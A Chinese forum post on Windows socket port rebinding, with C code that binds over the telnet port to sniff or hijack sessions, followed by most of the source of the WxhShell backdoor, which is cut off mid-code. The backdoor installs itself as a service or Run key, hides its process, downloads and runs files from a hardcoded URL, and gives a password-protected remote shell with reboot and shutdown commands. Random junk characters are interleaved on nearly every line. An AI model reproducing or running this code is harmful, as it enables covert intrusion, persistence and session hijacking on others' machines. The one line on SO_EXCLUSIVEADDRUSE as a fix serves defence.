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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "37lx;CH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5{TsiZh4  
3l]lwV  
  saddr.sin_family = AF_INET; Q)#B0NA;T  
SZ7:u895E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?9vuuIE  
m<G,[Yc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t mn tp  
wKh4|Ka  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N>uRf0E>  
O *C;Vqt  
  这意味着什么?意味着可以进行如下的攻击: goNG' o %|  
%jJG>T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y G~?MEh{  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,O5NLg-  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S)(.,x  
+ /G2fhE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {L971W_L  
2YL?,uLS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U)TUOwF  
299H$$WS,Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g @Z))M+  
D_2:k'4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]|pe>:gf'  
_oL?*ks  
  #include te`$%NRl  
  #include W ~<^L\Lu  
  #include u~N?N W Q  
  #include    iO$8:mxm0?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PN%zIkbo  
  int main() ^S<Y>Nm]  
  { Y>z>11yEB0  
  WORD wVersionRequested; W.jGGt\<\  
  DWORD ret; o)|flI'vT  
  WSADATA wsaData; ')Zvp7>$  
  BOOL val; ";lVa'HMZ  
  SOCKADDR_IN saddr; <\ y@*fg+  
  SOCKADDR_IN scaddr; ,]C;sN%~}  
  int err; ,oe <  
  SOCKET s; J-:.FKf\5l  
  SOCKET sc; T  wB}l  
  int caddsize; nUr5Qn?  
  HANDLE mt; 8$cLG*=h4  
  DWORD tid;   CZe ]kXNv  
  wVersionRequested = MAKEWORD( 2, 2 ); .~db4d]  
  err = WSAStartup( wVersionRequested, &wsaData ); KM0ru  
  if ( err != 0 ) { L< S9  
  printf("error!WSAStartup failed!\n"); qAr M|\l1  
  return -1; *U-4Sy  
  } ~G p [_ %K  
  saddr.sin_family = AF_INET; .<?GS{6 N  
   yF:1( 4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0 JS?;fk  
bRDYGuC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e ,'_xV  
  saddr.sin_port = htons(23); E`JI>7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 234p9A@  
  { LrfVh-}|:Y  
  printf("error!socket failed!\n"); 1nM  #kJ"  
  return -1; <{p4V|:  
  } 4KAZ ':  
  val = TRUE; ;}WeTA_-[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mUC)gA/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PQt")[  
  { w(Ovr`o?9t  
  printf("error!setsockopt failed!\n"); )}R0Y=e  
  return -1; yN0Vr\r2  
  } ]! &FKy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BZ#(   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y Uc+0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pad*oPH,  
g axsv[W>^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P8 c`fbkX2  
  { q_8+HEvo  
  ret=GetLastError(); A  'be8  
  printf("error!bind failed!\n"); @s&71a  
  return -1; Q}JOU  
  } XW H5d-  
  listen(s,2); QZwNw;$k*  
  while(1) hag$GX'2k  
  { c ]-<vkpV  
  caddsize = sizeof(scaddr); Ny7S  
  //接受连接请求 y7cl_rK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /<k/7TF`  
  if(sc!=INVALID_SOCKET) (/YHk`v2  
  { wu6;.xTLl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Paq4  
  if(mt==NULL) 2qNt,;DQ  
  { $Wol?)z  
  printf("Thread Creat Failed!\n"); j_[tu!~  
  break; +E+p"7  
  } rKc9b<Ir  
  } s^TZXCyF o  
  CloseHandle(mt); FGJ1dBLr  
  } 0auYG><=  
  closesocket(s); >uB?rGcM  
  WSACleanup(); 1\m[$Gs:  
  return 0; ]A `n( "%  
  }   iyE7V_O T  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q*cf(  
  { <=&`ZH   
  SOCKET ss = (SOCKET)lpParam; e"cXun4nS=  
  SOCKET sc; T{^rt3a  
  unsigned char buf[4096]; ]0OR_'?,  
  SOCKADDR_IN saddr; 2'Uu:Y^  
  long num; J{<X 7uB  
  DWORD val; Hio0HL-  
  DWORD ret; S+6.ZZ9c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,THw"bm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y<3-?}.aZ  
  saddr.sin_family = AF_INET; #z%fx   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kH1~k,|\&K  
  saddr.sin_port = htons(23); 'oVx#w^mf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ">nxHU  
  { On?v|10r'  
  printf("error!socket failed!\n"); l&zilVVm  
  return -1; #%2rP'He  
  } UDFDJm$  
  val = 100; R w\gTo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I@N8gn  
  { (lqC[:  
  ret = GetLastError(); ]N]!o#q}L  
  return -1; gVuFHHeUz  
  } n8[!pH~6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E]d. z6k  
  { Ne!lH@ql  
  ret = GetLastError(); wQf-sk#  
  return -1; ?j.,Nw4FC  
  } {YC@T(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]/6z; ~3U  
  { H8jpxzXv  
  printf("error!socket connect failed!\n"); 1GRCV8 "Z^  
  closesocket(sc); >R_&Ouh:  
  closesocket(ss); G_JA-@i%  
  return -1; 372rbY  
  } TX/Xt7#R:  
  while(1) tOD6&<  
  { 3}1u\(Mf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pki%vRY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r5/0u(\LB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FV!q!D  
  num = recv(ss,buf,4096,0); T::85  
  if(num>0) \@zHON(  
  send(sc,buf,num,0); gJ{)-\  
  else if(num==0) Fo_sgv8O<  
  break; H?Wya.7  
  num = recv(sc,buf,4096,0); gQuw1  
  if(num>0) [|L<_.8  
  send(ss,buf,num,0); i]4I [!  
  else if(num==0) n@i HFBb  
  break; WwFm*4{[o  
  } r6qj7}\  
  closesocket(ss); z<;HQX,  
  closesocket(sc); Or+U@vAnk  
  return 0 ;  _[3D  
  } }X6m:#6  
$%Kf q[Q  
BO&bmfp7,  
========================================================== 3hH<T.@)  
=nS3p6>rZ  
下边附上一个代码,,WXhSHELL *&W"bOMH*  
`w Vyb>T  
========================================================== `h\j99  
J@'wf8Ub  
#include "stdafx.h" "S]TP$O D  
jr. "I+  
#include <stdio.h> G` A4|+W"  
#include <string.h> BWrxunHO  
#include <windows.h> BU_nh+dF  
#include <winsock2.h> AT3Mlz~7#  
#include <winsvc.h> _{KG 4+5\X  
#include <urlmon.h> ND;#7/$>  
cI*;k.KU  
#pragma comment (lib, "Ws2_32.lib") p2](_}PK  
#pragma comment (lib, "urlmon.lib") Kc-W&?~y#1  
fr3d  
#define MAX_USER   100 // 最大客户端连接数 y%T_pTcU  
#define BUF_SOCK   200 // sock buffer kevrsV]/$  
#define KEY_BUFF   255 // 输入 buffer /3T1U  
Gd=RyoJl  
#define REBOOT     0   // 重启 AkV#J, 3LC  
#define SHUTDOWN   1   // 关机 eMsd37J  
HV|,}Wks6s  
#define DEF_PORT   5000 // 监听端口 RrB&\9=  
M2Qr(K|  
#define REG_LEN     16   // 注册表键长度 `^&OF u ee  
#define SVC_LEN     80   // NT服务名长度 abjQ)=u  
^h6tr8yn  
// 从dll定义API R 9\*#c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3pKQ$\u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6_Y,eL]"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?tbrbkx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wHy!CP%  
~>|ziHx  
// wxhshell配置信息 .q>iXE_c  
struct WSCFG { iBa A9  
  int ws_port;         // 监听端口 $& td=OK  
  char ws_passstr[REG_LEN]; // 口令 e"<OELA  
  int ws_autoins;       // 安装标记, 1=yes 0=no VPo".BvG6  
  char ws_regname[REG_LEN]; // 注册表键名 ,z jv7$L  
  char ws_svcname[REG_LEN]; // 服务名 o+'6`g'8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0l6.<-f{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (<9u-HF#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8A# ;WG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4hj|cCrO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mzgfFNm^G)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zy/_ E@C}u  
hgq;`_;1,  
}; @ 6vIap|  
W<g1<z\f  
// default Wxhshell configuration fJg+Ryo  
struct WSCFG wscfg={DEF_PORT, H:| uw  
    "xuhuanlingzhe", PW0LG^xp`  
    1, oEv 'dQ9  
    "Wxhshell", Dd|VMW=  
    "Wxhshell", 2^7`mES  
            "WxhShell Service", AK4t\D)K1  
    "Wrsky Windows CmdShell Service", guR/\z$D@C  
    "Please Input Your Password: ", W=?<<dVYD  
  1, ? J0y|  
  "http://www.wrsky.com/wxhshell.exe", Bzf^ivT3L  
  "Wxhshell.exe" I?CZQ+}Hq  
    }; 'g\4O3&_  
L4W5EO$  
// 消息定义模块 6=C<>c %+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tw@X> G1z  
char *msg_ws_prompt="\n\r? for help\n\r#>";  RRJ%:5&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L/K(dkx  
char *msg_ws_ext="\n\rExit."; e0 ecD3  
char *msg_ws_end="\n\rQuit."; UN#S;x*  
char *msg_ws_boot="\n\rReboot..."; |G<|F`Cj  
char *msg_ws_poff="\n\rShutdown..."; ccxNbU  
char *msg_ws_down="\n\rSave to "; 0y\Z9+G:  
i%?*@uj  
char *msg_ws_err="\n\rErr!"; * ;FdD{+  
char *msg_ws_ok="\n\rOK!"; }GM'.yutX  
SpBy3wd  
char ExeFile[MAX_PATH]; ~xTt204S  
int nUser = 0; -9?]IIVb  
HANDLE handles[MAX_USER]; u ga_T  
int OsIsNt; 6u6x  
A#,ZUOPGH  
SERVICE_STATUS       serviceStatus; fz_r7?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %]i15;{X  
*-X[u:  
// 函数声明 %BODkc Zh  
int Install(void); PA*5Bk="q  
int Uninstall(void); "[N!m1i:{  
int DownloadFile(char *sURL, SOCKET wsh); ;tf=gdX;  
int Boot(int flag); DY*N|OnqJ  
void HideProc(void); EU#^7  
int GetOsVer(void); lB4WKn=?Kl  
int Wxhshell(SOCKET wsl); 6S #Cl>v  
void TalkWithClient(void *cs); U<XG{<2  
int CmdShell(SOCKET sock); "dlV k~  
int StartFromService(void); x{n=;JD  
int StartWxhshell(LPSTR lpCmdLine); 7_t'( /yu  
zQ PQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #-J>NWdt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fP1! )po  
:4|4=mkr  
// 数据结构和表定义 \U_@S.  
SERVICE_TABLE_ENTRY DispatchTable[] = `]aeI'[}R  
{ rm_Nn8p,  
{wscfg.ws_svcname, NTServiceMain}, wd6owr  
{NULL, NULL} &^nGtW%a 9  
}; vDvFL<`vmD  
nk:)j:fr  
// 自我安装 hbn([+xY  
int Install(void) rC5O")I<  
{ cwL_tq  
  char svExeFile[MAX_PATH]; 2mU.7!g)  
  HKEY key; 7>RY/O;Z,  
  strcpy(svExeFile,ExeFile); rN>R|].  
*zLMpL_  
// 如果是win9x系统,修改注册表设为自启动 AQ Ojit6p  
if(!OsIsNt) { qQa}wcU'9p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :6dxtl/{b:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y);=TM6s  
  RegCloseKey(key); I1J-)R+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AZ<= o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PvL[e"p  
  RegCloseKey(key); H?w6C):]  
  return 0; Y/oHu@ _  
    } +C)~bb*  
  } i#O SC5ZI  
} UxBpdm%dvP  
else { lq uLT6]  
VU#7%ufu&  
// 如果是NT以上系统,安装为系统服务 jiGTA:v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pfPz8L.7  
if (schSCManager!=0) #&4=VGx{ #  
{ TA\vZGJ('  
  SC_HANDLE schService = CreateService Gm`8q}<I  
  ( .)3<Q}>  
  schSCManager, A%vbhD2;W  
  wscfg.ws_svcname, {`_i`  
  wscfg.ws_svcdisp, + T+#q@  
  SERVICE_ALL_ACCESS, \.S/|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $;PMkUE  
  SERVICE_AUTO_START, \<K5ZIWV  
  SERVICE_ERROR_NORMAL, zm#  ?W  
  svExeFile, iow"n$/  
  NULL, 4Tc~b3\!Y  
  NULL, /kG_*>.Z  
  NULL, /_.|E]  
  NULL, ->jDb/a{C  
  NULL )5H?Vh>36  
  ); Fzcwy V   
  if (schService!=0) }0 ?3:A  
  { iDD$pd,e\  
  CloseServiceHandle(schService); x~sBzTa  
  CloseServiceHandle(schSCManager); 8CE = 4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iRBfx  
  strcat(svExeFile,wscfg.ws_svcname); +,l-Nz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'fW-Y!k%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (?];VG  
  RegCloseKey(key); mZBo~(}  
  return 0; ig"L\ C"T  
    } ^?|"L>y  
  } l"]V6!-U  
  CloseServiceHandle(schSCManager); g{LP7 D;6  
} H*6W q  
} R-14=|7a-  
#;S*V"  
return 1; ~G w*r\\+  
} 3XKf!P  
1mJ Hued=6  
// 自我卸载 ipz5H*  
int Uninstall(void) !~Z"9(v'C  
{ ,//S`j$S  
  HKEY key; 8EY:t zw  
^sZ,2,^  
if(!OsIsNt) { vD4*&|8T#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T{'RV0%   
  RegDeleteValue(key,wscfg.ws_regname); 0\$2X- c  
  RegCloseKey(key); 1x^GWtRp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {+Jv+J9  
  RegDeleteValue(key,wscfg.ws_regname); Hp?/a?\Xm  
  RegCloseKey(key); #E]59_  
  return 0; <N @Gu!N8  
  } f mGc^d|=  
} QL*IiFR  
} 92{\B- l  
else { ?ubro0F:  
.C(tMF]D,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JI5Dy>u:  
if (schSCManager!=0) X?Au/  
{ 'q.!|G2U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B<-Wea  
  if (schService!=0) (.,G=\!  
  { >3bCTE   
  if(DeleteService(schService)!=0) { ,?3G;-  
  CloseServiceHandle(schService); z{>Rc"%\  
  CloseServiceHandle(schSCManager); K^[?O{x^B  
  return 0; Ho%CDz z  
  } Gh$^{  
  CloseServiceHandle(schService); Zc2PepIg  
  } 0YHFvy)  
  CloseServiceHandle(schSCManager); zreU')a  
} 0IpmRH/  
} +|rj4j)L&'  
@pxcpXCy  
return 1; G&dKY h\  
} KSL`W2}  
g .\[o@H  
// 从指定url下载文件 8ipez/  
int DownloadFile(char *sURL, SOCKET wsh) "5 A! jq  
{ r :dTz  
  HRESULT hr; /O9EQPm(  
char seps[]= "/"; KmF]\:sMD  
char *token; E.f%H(b  
char *file; Ep}s}Stlr}  
char myURL[MAX_PATH]; uw7zWJ n  
char myFILE[MAX_PATH]; tVjsRnb{  
ZB{EmB0W  
strcpy(myURL,sURL); liSmjsk  
  token=strtok(myURL,seps); w>YDNOk  
  while(token!=NULL) <uJ@:oWG7  
  { qWw=8Bq  
    file=token; o(HbGHIP  
  token=strtok(NULL,seps); <QvOs@i*  
  }  @8 6f  
OKV8zO  
GetCurrentDirectory(MAX_PATH,myFILE); / j^  
strcat(myFILE, "\\"); 0`hdMLONR  
strcat(myFILE, file); 9VT;ep  
  send(wsh,myFILE,strlen(myFILE),0); xkn;,`t^lJ  
send(wsh,"...",3,0); q:(%*sY>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h$*!8=M  
  if(hr==S_OK) T;uX4,|(  
return 0; 6nQq  
else +qoRP2  
return 1; n|;Im&,  
6wxs1G  
} *8Z32c+C  
;bG>ZqJCVA  
// 系统电源模块 +d>IHpt  
int Boot(int flag) .u:GjL'$  
{ a =QCp4^  
  HANDLE hToken; z:;CX@)*  
  TOKEN_PRIVILEGES tkp; ,s(,S  
8_8l.!~  
  if(OsIsNt) { =Uh$&m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xA/D'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RpF&\x>  
    tkp.PrivilegeCount = 1; Ned."e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ys~x $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7Wno':w8  
if(flag==REBOOT) { pUTr!fR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rKn~qVls  
  return 0; &vJH$R  
} :>*7=q=  
else { r,udO,Yi=c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  J *yg&  
  return 0; Ib`XT0k  
} /\Ef%@  
  } 9UkBwS`  
  else { }}[2SH'nH  
if(flag==REBOOT) { ~V-XEQA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +H.`MZ=  
  return 0; ]A"h&`Cvt  
} ;]iRk  
else { -%~4W?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q@&6#B  
  return 0; J1vR5wbu  
} ( =$ x.1  
} R2;  
1,~D4lD|  
return 1; y^k$Us  
} KP"+e:a%  
Rv=YFo[B  
// win9x进程隐藏模块 Vj-h;rB0z  
void HideProc(void) Th%zn2R B  
{ >V937  
yuVs YV@"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GmG 5[?)  
  if ( hKernel != NULL ) AdmC&!nH  
  { :+Z%; Dc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =I4lL]>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >Q/Dk7#  
    FreeLibrary(hKernel); VQs5"K"  
  } [e q&C_|D  
:U\tv[  
return; N;d] 14|  
} u y+pP!<  
/{[o ~:'p  
// 获取操作系统版本 mR~&)QBP.  
int GetOsVer(void) : +u]S2u{  
{ j+!v}*I![  
  OSVERSIONINFO winfo; omFz@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @7u0v  
  GetVersionEx(&winfo); [m -bV$-d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pw#-_  
  return 1; @L`jk+Y0vF  
  else G B^Br6  
  return 0; 7nSxi+6e  
} fOHxtHM  
5N]"~w*  
// 客户端句柄模块 UBs4K*h|  
int Wxhshell(SOCKET wsl) KXrjqqXs  
{ i@q&5;%%  
  SOCKET wsh; )_:NLo:  
  struct sockaddr_in client; 1cDF!X]  
  DWORD myID; Fcx&hj1gQ  
}qUX=s GG  
  while(nUser<MAX_USER) NRuNKl.v  
{ Fu~j8K  
  int nSize=sizeof(client); o4;(Zi#Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g7|@  
  if(wsh==INVALID_SOCKET) return 1; u NyVf7u  
{vj)76%y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E$e5^G9  
if(handles[nUser]==0) fJ\[*5eiS  
  closesocket(wsh); 6b,V;#Anj  
else [;N'=]`  
  nUser++; "7 yD0T)2  
  } yu|>t4#GT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TvM~y\s  
2eogY#  
  return 0; q)GdD==  
} maZ)cW?  
K}y f>'O  
// 关闭 socket xo)P?-  
void CloseIt(SOCKET wsh) [UR-I0 s!/  
{ @iiT<  
closesocket(wsh); _aphkeqd  
nUser--; xk5 ]^yDp  
ExitThread(0); _{>vTBU4F  
} wL1MENzp*z  
4| f*eO  
// 客户端请求句柄 Y2TtY;  
void TalkWithClient(void *cs) mv><HqDL1  
{ ZcsZ$qt^  
y5r4&~04  
  SOCKET wsh=(SOCKET)cs; R_KH"`q  
  char pwd[SVC_LEN]; $qiya[&G4  
  char cmd[KEY_BUFF]; "Q<MS'a  
char chr[1]; #tHK"20  
int i,j; c L]1f  
~u{uZ(~  
  while (nUser < MAX_USER) { SM '|+ d  
0K+ne0I  
if(wscfg.ws_passstr) { do_[&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3$tdwe$S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |)&%A%m  
  //ZeroMemory(pwd,KEY_BUFF); GyIV Hby  
      i=0; #c J@uqR  
  while(i<SVC_LEN) { 7$b1<.WX  
H\ %7%  
  // 设置超时 6863xOv{T  
  fd_set FdRead; 1oS/`)  
  struct timeval TimeOut; #WuBL_nZ~  
  FD_ZERO(&FdRead); u, ff>/1  
  FD_SET(wsh,&FdRead); s7<AfaJPF  
  TimeOut.tv_sec=8; 0sqFF[i  
  TimeOut.tv_usec=0; >z03{=sAN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^~dWU>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]d]]'Hk  
dM5-;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,}PgOJZ  
  pwd=chr[0]; a#4?cEy  
  if(chr[0]==0xd || chr[0]==0xa) { bOB \--:]  
  pwd=0; _#niyW+?~  
  break; [GR; ?R5  
  } a[C@  
  i++; KXy6Eno  
    } $ `c:&  
j.Hf/vi`z  
  // 如果是非法用户,关闭 socket D- c4EV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6<]lW  
} M+>u/fldV  
3Ul*QN{6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S!UaH>Rh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3<!7>]A  
M7T5 ~/4  
while(1) { %4H%?4  
 Sf'CN8  
  ZeroMemory(cmd,KEY_BUFF); I0 -MRU~[K  
?}0,o.  
      // 自动支持客户端 telnet标准   |N2#ItBbW  
  j=0; Za9qjBH   
  while(j<KEY_BUFF) { tYS06P^<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;'|Ey  
  cmd[j]=chr[0]; l;Wj]  
  if(chr[0]==0xa || chr[0]==0xd) { 'NmRR]Q9  
  cmd[j]=0; ~a:  
  break; vQCy\Gi   
  } }j%5t ~Qa  
  j++; XZ7Lk)IR  
    } gJXaPJA{  
]/Pn EU[  
  // 下载文件 0;k# *#w  
  if(strstr(cmd,"http://")) { 3n _htgcv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); siI;"?  
  if(DownloadFile(cmd,wsh)) Upe%rC(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u_enqC3  
  else ?  t|[?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J zl6eo[;  
  } ,F|f. 7;  
  else { p2eGm-Erq  
}tz7b#  
    switch(cmd[0]) { [WmM6UEVS  
  ueudRb  
  // 帮助 G[=c Ss,  
  case '?': { $i&zex{\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uFE)17E  
    break; C Z;6@{ o  
  } Y7|EIAU5Y  
  // 安装 w{KavU5W  
  case 'i': { Hka2  
    if(Install()) L,\Iasv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aUp g u"  
    else 80I#TA6C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w:0E(z  
    break; vN:Ng  
    } >6T8^Nt  
  // 卸载 )GpK@R]{  
  case 'r': { d=(mw_-?  
    if(Uninstall()) LoV<:|GTI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jp,4h4C^)  
    else K0~rN.C!0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9w"*y#_  
    break; OXA7w.^  
    } *wearCPeJ  
  // 显示 wxhshell 所在路径 6m93puY`7  
  case 'p': { K1KreYlF  
    char svExeFile[MAX_PATH]; ]kSGR  
    strcpy(svExeFile,"\n\r"); L0,'mS  
      strcat(svExeFile,ExeFile); 2G7Wi!J  
        send(wsh,svExeFile,strlen(svExeFile),0); COlqcq'qAu  
    break; *@5@,=d  
    } 9;{C IMg&  
  // 重启 qGo.WZ$  
  case 'b': { IxU/?Zm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0B2t"(&  
    if(Boot(REBOOT)) 4x34u}l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %J(:ADu]  
    else { I9Xuok!0>=  
    closesocket(wsh); ye&;(30Oq  
    ExitThread(0); 9*g Z-#  
    } @JMiO^  
    break; C+$#y2"z#n  
    } $4LzcwG  
  // 关机 {) XTk &"  
  case 'd': { 79gT+~z   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N8jIMb'<  
    if(Boot(SHUTDOWN)) C dn J&N{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u 9e@a9c  
